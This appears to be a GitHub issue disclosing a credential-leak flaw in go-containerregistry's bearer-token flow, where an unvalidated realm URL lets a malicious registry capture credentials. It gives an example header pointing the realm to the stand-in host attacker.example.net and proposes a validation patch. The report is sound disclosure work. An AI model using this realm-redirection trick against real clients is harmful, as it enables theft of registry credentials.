-
Notifications
You must be signed in to change notification settings - Fork 630
Credential leak via unvalidated WWW-Authenticate realm URL #2193
Description
Summary
When authenticating against a registry using the bearer token flow, go-containerregistry accepts the realm URL from the WWW-Authenticate response header and sends credentials to that realm host to obtain a token. The realm URL is not validated against the registry domain, allowing a malicious registry to redirect credentials to an attacker-controlled host.
Affected code
pkg/v1/remote/transport/bearer.go:82-94(fromChallengeaccepts realm without validation)pkg/v1/remote/transport/bearer.go:315-320(refreshOauthuses realm)pkg/v1/remote/transport/bearer.go:366-407(refreshBasicsends credentials to realm host)
Attack scenario
- Victim's tooling (cosign, crane, ko, etc.) connects to a malicious registry (via typosquatted image reference, compromised registry, or untrusted input in CI/CD)
- Registry returns
401withWWW-Authenticate: Bearer realm="https://attacker.example.net/token",service="registry" - go-containerregistry extracts the realm URL and sends
Authorization: Basic <credentials>toattacker.example.net - Attacker captures registry credentials
This does not require network interception - the registry itself controls the realm value.
Precedent
CVE-2020-15157 (containerd) describes the same vulnerability class: credential leak via malicious WWW-Authenticate realm header. It was fixed and assigned a CVE with CVSS 6.1.
Ecosystem impact
go-containerregistry is used by:
- sigstore/cosign
- google/crane
- google/ko
- vmware-tanzu/kpack
- tektoncd/pipeline
- GoogleContainerTools/skaffold
All these tools inherit this vulnerability.
Suggested fix
Validate that the realm URL's domain matches the registry domain (or a documented trusted auth domain) before sending any credential-bearing request.
Minimal patch approach in fromChallenge:
ru, err := url.Parse(realm)
if err != nil {
return nil, fmt.Errorf("invalid realm url: %w", err)
}
if ru.Scheme == "" || ru.Host == "" {
return nil, fmt.Errorf("invalid realm url: missing scheme or host")
}
if !pr.Insecure && ru.Scheme != "https" {
return nil, fmt.Errorf("invalid realm url scheme for secure registry")
}
// validate domain binding
regDomain := effectiveDomain(reg.RegistryStr())
realmDomain := effectiveDomain(ru.Hostname())
if regDomain != realmDomain {
return nil, fmt.Errorf("realm domain mismatch")
}Reproduction
A full PoC with canonical/control tests is available upon request.
Related
- CVE-2020-15157 (containerd)
- CVE-2024-35192 (trivy, uses go-containerregistry)
- CVE-2024-45340 (go GOAUTH credential leak)